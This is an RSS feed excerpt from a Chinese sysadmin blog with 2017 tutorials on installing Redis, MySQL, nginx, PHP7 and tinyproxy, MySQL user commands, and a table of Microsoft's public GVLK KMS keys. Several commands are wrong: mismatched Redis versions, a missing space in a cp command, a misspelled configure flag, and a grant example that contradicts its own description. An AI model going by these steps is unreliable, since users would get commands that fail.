&lt;pre&gt;&lt;code&gt;wget http://download.redis.io/releases/redis-2.8.13.tar.gz
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;解压文件&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;tar -xzvf redis-2.8.19.tar.gz
mv redis-2.8.19 /usr/local/redis
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;进入目录&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;cd /usr/local/redis
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;编译安装&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;make
make install
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;设置配置文件路径&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;mkdir -p /etc/redis
cp redis.conf/etc/redis
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;修改配置文件&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;vi /etc/redis/redis.conf
仅修改： daemonize yes （no--&amp;gt;yes）
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;启动&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;/usr/local/bin/redis-server /etc/redis/redis.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;查看启动&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;ps -ef | grep redis 
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;使用客户端&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;redis-cli
&amp;gt;set name david
OK
&amp;gt;get name
&amp;quot;david&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;关闭客户端&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;redis-cli shutdown
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;开机启动配置&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;echo &amp;quot;/usr/local/bin/redis-server /etc/redis/redis.conf &amp;amp;&amp;quot; &amp;gt;&amp;gt; /etc/rc.local
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;开机启动要配置在 rc.local 中，而 /etc/profile 文件，要有用户登录了，才会被执行。&lt;/p&gt;</description></item><item><title>Debian, Ubuntu, LinuxMint 安裝 MySQL 5.7, 5.6, 5.5</title><link>https://luodaoyi.com/posts/debian-ubuntu-linuxmint-%E5%AE%89%E8%A3%9D-mysql-57-56-55-debianubuntulinuxmint%E5%AE%89%E8%A3%9Dmysql575655/</link><pubDate>Sun, 12 Mar 2017 06:31:09 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/debian-ubuntu-linuxmint-%E5%AE%89%E8%A3%9D-mysql-57-56-55-debianubuntulinuxmint%E5%AE%89%E8%A3%9Dmysql575655/</guid><description>&lt;p&gt;以下會示範在 Debian, Ubuntu 及 LinuxMint 分別安裝 MySQL 5.7, 5.6, 5.5 的方法。&lt;/p&gt;
&lt;p&gt;首先按照需要的安裝的 MySQL 版本, 加入相應的 Repository, 然後用 apt-get 安裝 MySQL:&lt;/p&gt;
&lt;p&gt;1+ MySQL 5.7&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo apt-get install software-properties-common
$ sudo add-apt-repository -y ppa:ondrej/mysql-5.7
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2+ MySQL 5.6&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo apt-get install software-properties-common
$ sudo add-apt-repository -y ppa:ondrej/mysql-5.6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;3+ MySQL 5.5&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo apt-get install software-properties-common
$ sudo add-apt-repository -y ppa:ondrej/mysql-5.5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然後就用 apt-get 安裝 MySQL&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo apt-get update
$ sudo apt-get install mysql-server
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安裝時 MySQL 會詣問要設置的 root 新密碼, 或者可以執行 mysql_secure_installation 修改:&lt;/p&gt;</description></item><item><title>Ubuntu 16.04 安装配置支持http2的nginx</title><link>https://luodaoyi.com/posts/ubuntu-1604-%E5%AE%89%E8%A3%85%E9%85%8D%E7%BD%AE%E6%94%AF%E6%8C%81http2%E7%9A%84nginx-ubuntu1604%E5%AE%89%E8%A3%85%E9%85%8D%E7%BD%AE%E6%94%AF%E6%8C%81http2%E7%9A%84nginx/</link><pubDate>Sun, 12 Mar 2017 06:30:51 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/ubuntu-1604-%E5%AE%89%E8%A3%85%E9%85%8D%E7%BD%AE%E6%94%AF%E6%8C%81http2%E7%9A%84nginx-ubuntu1604%E5%AE%89%E8%A3%85%E9%85%8D%E7%BD%AE%E6%94%AF%E6%8C%81http2%E7%9A%84nginx/</guid><description>&lt;h1 id="第一步-安装最新版本的nginx"&gt;第一步 安装最新版本的nginx&lt;/h1&gt;
&lt;p&gt;对于ubuntu16.04而言 直接装就是最新的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get update
sudo apt-get install nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看Nginx版本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nginx -v
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;16.04默认应该是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nginx version: nginx/1.10.0 (Ubuntu)
&lt;/code&gt;&lt;/pre&gt;
&lt;h1 id="第二部-修改服务器配置"&gt;第二部 修改服务器配置&lt;/h1&gt;
&lt;p&gt;配置文件&lt;code&gt;/etc/nginx/sites-available/default&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;server_name example.com;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;保存修改后的文件&lt;br&gt;
使用命令&lt;code&gt;nginx -t&lt;/code&gt;检查配置文件语法是否正确&lt;/p&gt;</description></item><item><title>在ubuntu16.04上安装php7 mysql5.7 nginx1.10并支持http2</title><link>https://luodaoyi.com/posts/%E5%9C%A8ubuntu1604%E4%B8%8A%E5%AE%89%E8%A3%85php7-mysql57-nginx110%E5%B9%B6%E6%94%AF%E6%8C%81http2-%E5%9C%A8ubuntu1604%E4%B8%8A%E5%AE%89%E8%A3%85php7mysql57nginx110%E5%B9%B6%E6%94%AF%E6%8C%81http2/</link><pubDate>Sun, 12 Mar 2017 06:30:31 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E5%9C%A8ubuntu1604%E4%B8%8A%E5%AE%89%E8%A3%85php7-mysql57-nginx110%E5%B9%B6%E6%94%AF%E6%8C%81http2-%E5%9C%A8ubuntu1604%E4%B8%8A%E5%AE%89%E8%A3%85php7mysql57nginx110%E5%B9%B6%E6%94%AF%E6%8C%81http2/</guid><description>&lt;h1 id="安装nginx"&gt;安装nginx&lt;/h1&gt;
&lt;p&gt;首先更新软件包 并且安装nginx&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get update
sudo apt-get install nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;开放防火墙配置&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo ufw allow &amp;quot;Nginx HTTP&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看防火墙状态&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo ufw status
------------------
Status: active
To Action From
-- ------ ----
OpenSSH ALLOW Anywhere
Nginx HTTP ALLOW Anywhere
OpenSSH (v6) ALLOW Anywhere (v6)
Nginx HTTP (v6) ALLOW Anywhere (v6)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问服务器看看nginx是否配置成功&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://server_domain_or_IP
&lt;/code&gt;&lt;/pre&gt;
&lt;h1 id="2安装mysql"&gt;2安装mysql&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get install mysql-server
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装期间会配置数据库的root密码 而且默认的root账户不可以远程登录&lt;br&gt;
如果密码忘了可以执行如下命令来重设密码&lt;/p&gt;</description></item><item><title>阿里云，腾讯云，等等的云 Ubuntu14.04升级16.04</title><link>https://luodaoyi.com/posts/%E9%98%BF%E9%87%8C%E4%BA%91%E8%85%BE%E8%AE%AF%E4%BA%91%E7%AD%89%E7%AD%89%E7%9A%84%E4%BA%91-ubuntu1404%E5%8D%87%E7%BA%A71604-%E9%98%BF%E9%87%8C%E4%BA%91%E8%85%BE%E8%AE%AF%E4%BA%91%E7%AD%89%E7%AD%89%E7%9A%84%E4%BA%91ubuntu1404%E5%8D%87%E7%BA%A71604/</link><pubDate>Sun, 12 Mar 2017 06:30:15 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E9%98%BF%E9%87%8C%E4%BA%91%E8%85%BE%E8%AE%AF%E4%BA%91%E7%AD%89%E7%AD%89%E7%9A%84%E4%BA%91-ubuntu1404%E5%8D%87%E7%BA%A71604-%E9%98%BF%E9%87%8C%E4%BA%91%E8%85%BE%E8%AE%AF%E4%BA%91%E7%AD%89%E7%AD%89%E7%9A%84%E4%BA%91ubuntu1404%E5%8D%87%E7%BA%A71604/</guid><description>&lt;blockquote&gt;
&lt;p&gt;16.04有很多好处。在此不说了&lt;br&gt;
这几天来回折腾了各种的云，然后发现国内的都没有16.04 但是ubuntu可以直接在线升级&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在此记下来升级的过程&lt;/p&gt;
&lt;p&gt;不管是腾讯云也好 阿里云也好，或者别的什么云，只要是国内的 几乎都不提供ubuntu16.04的镜像，但是我们可以在线升级&lt;br&gt;
下面是过程记录&lt;/p&gt;</description></item><item><title>Ubuntu 16.04 为 PHP7 添加 memcached 以及 redis 扩展</title><link>https://luodaoyi.com/posts/ubuntu-1604-%E4%B8%BA-php7-%E6%B7%BB%E5%8A%A0-memcached-%E4%BB%A5%E5%8F%8A-redis-%E6%89%A9%E5%B1%95-ubuntu1604%E4%B8%BAphp7%E6%B7%BB%E5%8A%A0memcached%E4%BB%A5%E5%8F%8Aredis%E6%89%A9%E5%B1%95/</link><pubDate>Sun, 12 Mar 2017 06:29:41 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/ubuntu-1604-%E4%B8%BA-php7-%E6%B7%BB%E5%8A%A0-memcached-%E4%BB%A5%E5%8F%8A-redis-%E6%89%A9%E5%B1%95-ubuntu1604%E4%B8%BAphp7%E6%B7%BB%E5%8A%A0memcached%E4%BB%A5%E5%8F%8Aredis%E6%89%A9%E5%B1%95/</guid><description>&lt;p&gt;切换到 PHP 7 之后，网站的速度大幅提升，不过通常的扩展可能某一个就还没有支持 PHP7&lt;/p&gt;
&lt;h1 id="memcached"&gt;Memcached&lt;/h1&gt;
&lt;p&gt;比如说我现在使用了最新的 Ubuntu 16.04，虽然内置了 PHP 7 源，但 memcached 就还没有，不过好在，它已经支持了 PHP 7 ，只是没有源而已，我们手动编译它。&lt;/p&gt;
&lt;p&gt;要安装 memcached，需要先安装依赖库 &lt;code&gt;libmemcached&lt;/code&gt;&lt;/p&gt;</description></item><item><title>Mysql常用命令</title><link>https://luodaoyi.com/posts/mysql%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4-mysql%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4/</link><pubDate>Sun, 12 Mar 2017 06:29:20 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/mysql%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4-mysql%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4/</guid><description>&lt;h1 id="导入sql文件"&gt;导入sql文件&lt;/h1&gt;
&lt;p&gt;在MySQL命令行中中直接导入*.sql脚本，在mysql中执行sql文件的命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; source /root/db.sql;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1 id="增加用户"&gt;增加用户&lt;/h1&gt;
&lt;p&gt;格式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grant select on 数据库.* to 用户名@登录主机 identified by &amp;quot;密码&amp;quot; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;例1、&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;增加一个用户`test1`密码为`abc`，让他可以在任何主机上登录，并对所有数据库有查询、插入、修改、删除的权限。
首先用以root用户连入MYSQL，然后键入以下命令：

grant select,insert,update,delete on *.* to test2@localhost identified by &amp;quot;abc&amp;quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你不想test2有密码，可以再打一个命令将密码消掉。&lt;/p&gt;</description></item><item><title>部署tinyproxy透明代理服务</title><link>https://luodaoyi.com/posts/%E9%83%A8%E7%BD%B2tinyproxy%E9%80%8F%E6%98%8E%E4%BB%A3%E7%90%86%E6%9C%8D%E5%8A%A1-%E9%83%A8%E7%BD%B2tinyproxy%E9%80%8F%E6%98%8E%E4%BB%A3%E7%90%86%E6%9C%8D%E5%8A%A1/</link><pubDate>Sun, 12 Mar 2017 06:27:46 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E9%83%A8%E7%BD%B2tinyproxy%E9%80%8F%E6%98%8E%E4%BB%A3%E7%90%86%E6%9C%8D%E5%8A%A1-%E9%83%A8%E7%BD%B2tinyproxy%E9%80%8F%E6%98%8E%E4%BB%A3%E7%90%86%E6%9C%8D%E5%8A%A1/</guid><description>&lt;p&gt;线上需要一个https的透明代理，开始打算用nginx，调试了一段时间发现配置较复杂且没有成功。后来用的tinyproxy做的透明代理。安装配置过程就是下载、解压、编译、安装、配置、启动一波流：&lt;/p&gt;
&lt;h1 id="安装依赖"&gt;安装依赖&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;sudo apt-get install asciidoc&lt;/code&gt;&lt;/p&gt;
&lt;h1 id="下载"&gt;下载&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;sudo wget https://github.com/tinyproxy/tinyproxy/releases/download/1.8.4/tinyproxy-1.8.4.tar.gz -O tinyproxy-1.8.4.tar.gz&lt;/code&gt;&lt;/p&gt;
&lt;h1 id="解压"&gt;解压&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;sudo tar xvfz tinyproxy.1.8.4.tar.gz&lt;/code&gt;&lt;/p&gt;
&lt;h1 id="编译配置"&gt;编译配置&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;./configure --enable-transparent --prifix=/usr/local/tinyproxy&lt;/code&gt;&lt;br&gt;
更多的编译选项可以参考源码目录的README文件，部分说明如下：&lt;/p&gt;</description></item><item><title>Windows GVLK密钥对照表（KMS激活专用</title><link>https://luodaoyi.com/posts/windows-gvlk%E5%AF%86%E9%92%A5%E5%AF%B9%E7%85%A7%E8%A1%A8kms%E6%BF%80%E6%B4%BB%E4%B8%93%E7%94%A8-windowsgvlk%E5%AF%86%E9%92%A5%E5%AF%B9%E7%85%A7%E8%A1%A8kms%E6%BF%80%E6%B4%BB%E4%B8%93%E7%94%A8/</link><pubDate>Sun, 12 Mar 2017 06:23:11 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/windows-gvlk%E5%AF%86%E9%92%A5%E5%AF%B9%E7%85%A7%E8%A1%A8kms%E6%BF%80%E6%B4%BB%E4%B8%93%E7%94%A8-windowsgvlk%E5%AF%86%E9%92%A5%E5%AF%B9%E7%85%A7%E8%A1%A8kms%E6%BF%80%E6%B4%BB%E4%B8%93%E7%94%A8/</guid><description>&lt;blockquote&gt;
&lt;p&gt;以下key来源于微软官网：&lt;a href="https://technet.microsoft.com/en-us/library/jj612867.aspx"&gt;&lt;/a&gt;&lt;a href="https://technet.microsoft.com/en-us/library/jj612867.aspx"&gt;https://technet.microsoft.com/en-us/library/jj612867.aspx&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id="windows-server-2016"&gt;Windows Server 2016&lt;/h1&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;操作系统&lt;/th&gt;
 &lt;th&gt;KMS激活序列号&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2016 Datacenter&lt;/td&gt;
 &lt;td&gt;CB7KF-BWN84-R7R2Y-793K2-8XDDG&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2016 Standard&lt;/td&gt;
 &lt;td&gt;WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2016 Essentials&lt;/td&gt;
 &lt;td&gt;JCKRF-N37P4-C2D82-9YXRT-4M63B&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 id="windows-10"&gt;Windows 10&lt;/h1&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;操作系统&lt;/th&gt;
 &lt;th&gt;KMS激活序列号&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 10 Professional&lt;/td&gt;
 &lt;td&gt;W269N-WFGWX-YVC9B-4J6C9-T83GX&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 10 Professional N&lt;/td&gt;
 &lt;td&gt;MH37W-N47XK-V7XM9-C7227-GCQG9&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 10 Enterprise&lt;/td&gt;
 &lt;td&gt;NPPR9-FWDCX-D2C8J-H872K-2YT43&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 10 Enterprise N&lt;/td&gt;
 &lt;td&gt;DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 10 Education&lt;/td&gt;
 &lt;td&gt;NW6C2-QMPVW-D7KKK-3GKT6-VCFB2&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 10 Education N&lt;/td&gt;
 &lt;td&gt;2WH4N-8QGBV-H22JP-CT43Q-MDWWJ&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 10 Enterprise 2015 LTSB&lt;/td&gt;
 &lt;td&gt;WNMTR-4C88C-JK8YV-HQ7T2-76DF9&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 10 Enterprise 2015 LTSB N&lt;/td&gt;
 &lt;td&gt;2F77B-TNFGY-69QQF-B8YKP-D69TJ&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 10 Enterprise 2016 LTSB&lt;/td&gt;
 &lt;td&gt;DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 10 Enterprise 2016 LTSB N&lt;/td&gt;
 &lt;td&gt;QFFDN-GRT3P-VKWWX-X7T3R-8B639&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 id="windows-server-2012-r2-和-windows-81"&gt;Windows Server 2012 R2 和 Windows 8.1&lt;/h1&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;操作系统&lt;/th&gt;
 &lt;th&gt;KMS激活序列号&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 8.1 Professional&lt;/td&gt;
 &lt;td&gt;GCRJD-8NW9H-F2CDX-CCM8D-9D6T9&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 8.1 Professional N&lt;/td&gt;
 &lt;td&gt;HMCNV-VVBFX-7HMBH-CTY9B-B4FXY&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 8.1 Enterprise&lt;/td&gt;
 &lt;td&gt;MHF9N-XY6XB-WVXMC-BTDCT-MKKG7&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 8.1 Enterprise N&lt;/td&gt;
 &lt;td&gt;TT4HM-HN7YT-62K67-RGRQJ-JFFXW&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2012 R2 Server Standard&lt;/td&gt;
 &lt;td&gt;D2N9P-3P6X9-2R39C-7RTCD-MDVJX&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2012 R2 Datacenter&lt;/td&gt;
 &lt;td&gt;W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2012 R2 Essentials&lt;/td&gt;
 &lt;td&gt;KNC87-3J2TX-XB4WP-VCPJV-M4FWM&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 id="windows-server-2012-和-windows-8"&gt;Windows Server 2012 和 Windows 8&lt;/h1&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;操作系统&lt;/th&gt;
 &lt;th&gt;KMS激活序列号&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 8 Professional&lt;/td&gt;
 &lt;td&gt;NG4HW-VH26C-733KW-K6F98-J8CK4&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 8 Professional N&lt;/td&gt;
 &lt;td&gt;XCVCF-2NXM9-723PB-MHCB7-2RYQQ&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 8 Enterprise&lt;/td&gt;
 &lt;td&gt;32JNW-9KQ84-P47T8-D8GGY-CWCK7&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 8 Enterprise N&lt;/td&gt;
 &lt;td&gt;JMNMF-RHW7P-DMY6X-RF3DR-X2BQT&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2012&lt;/td&gt;
 &lt;td&gt;BN3D2-R7TKB-3YPBD-8DRP2-27GG4&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2012 N&lt;/td&gt;
 &lt;td&gt;8N2M2-HWPGY-7PGT9-HGDD8-GVGGY&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2012 Single Language&lt;/td&gt;
 &lt;td&gt;2WN2H-YGCQR-KFX6K-CD6TF-84YXQ&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2012 Country Specific&lt;/td&gt;
 &lt;td&gt;4K36P-JN4VD-GDC6V-KDT89-DYFKP&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2012 Server Standard&lt;/td&gt;
 &lt;td&gt;XC9B7-NBPP2-83J2H-RHMBY-92BT4&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2012 MultiPoint Standard&lt;/td&gt;
 &lt;td&gt;HM7DN-YVMH3-46JC3-XYTG7-CYQJJ&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2012 MultiPoint Premium&lt;/td&gt;
 &lt;td&gt;XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2012 Datacenter&lt;/td&gt;
 &lt;td&gt;48HP8-DN98B-MYWDG-T2DCC-8W83P&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 id="windows-7-and-windows-server-2008-r2"&gt;Windows 7 and Windows Server 2008 R2&lt;/h1&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;操作系统&lt;/th&gt;
 &lt;th&gt;KMS激活序列号&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 7 Professional&lt;/td&gt;
 &lt;td&gt;FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 7 Professional N&lt;/td&gt;
 &lt;td&gt;MRPKT-YTG23-K7D7T-X2JMM-QY7MG&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 7 Professional E&lt;/td&gt;
 &lt;td&gt;W82YF-2Q76Y-63HXB-FGJG9-GF7QX&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 7 Enterprise&lt;/td&gt;
 &lt;td&gt;33PXH-7Y6KF-2VJC9-XBBR8-HVTHH&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 7 Enterprise N&lt;/td&gt;
 &lt;td&gt;YDRBP-3D83W-TY26F-D46B2-XCKRJ&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows 7 Enterprise E&lt;/td&gt;
 &lt;td&gt;C29WB-22CC8-VJ326-GHFJW-H9DH4&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2008 R2 Web&lt;/td&gt;
 &lt;td&gt;6TPJF-RBVHG-WBW2R-86QPH-6RTM4&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2008 R2 HPC edition&lt;/td&gt;
 &lt;td&gt;TT8MH-CG224-D3D7Q-498W2-9QCTX&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2008 R2 Standard&lt;/td&gt;
 &lt;td&gt;YC6KT-GKW9T-YTKYR-T4X34-R7VHC&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2008 R2 Enterprise&lt;/td&gt;
 &lt;td&gt;489J6-VHDMP-X63PK-3K798-CPX3Y&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2008 R2 Datacenter&lt;/td&gt;
 &lt;td&gt;74YFP-3QFB3-KQT8W-PMXWJ-7M648&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2008 R2 for Itanium-based Systems&lt;/td&gt;
 &lt;td&gt;GT63C-RJFQ3-4GMB6-BRFB9-CB83V&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 id="windows-vista-and-windows-server-2008"&gt;Windows Vista and Windows Server 2008&lt;/h1&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;操作系统&lt;/th&gt;
 &lt;th&gt;KMS激活序列号&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Vista Business&lt;/td&gt;
 &lt;td&gt;YFKBB-PQJJV-G996G-VWGXY-2V3X8&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Vista Business N&lt;/td&gt;
 &lt;td&gt;HMBQG-8H2RH-C77VX-27R82-VMQBT&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Vista Enterprise&lt;/td&gt;
 &lt;td&gt;VKK3X-68KWM-X2YGT-QR4M6-4BWMV&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Vista Enterprise N&lt;/td&gt;
 &lt;td&gt;VTC42-BM838-43QHV-84HX6-XJXKV&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Web Server 2008&lt;/td&gt;
 &lt;td&gt;WYR28-R7TFJ-3X2YQ-YCY4H-M249D&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2008 Standard&lt;/td&gt;
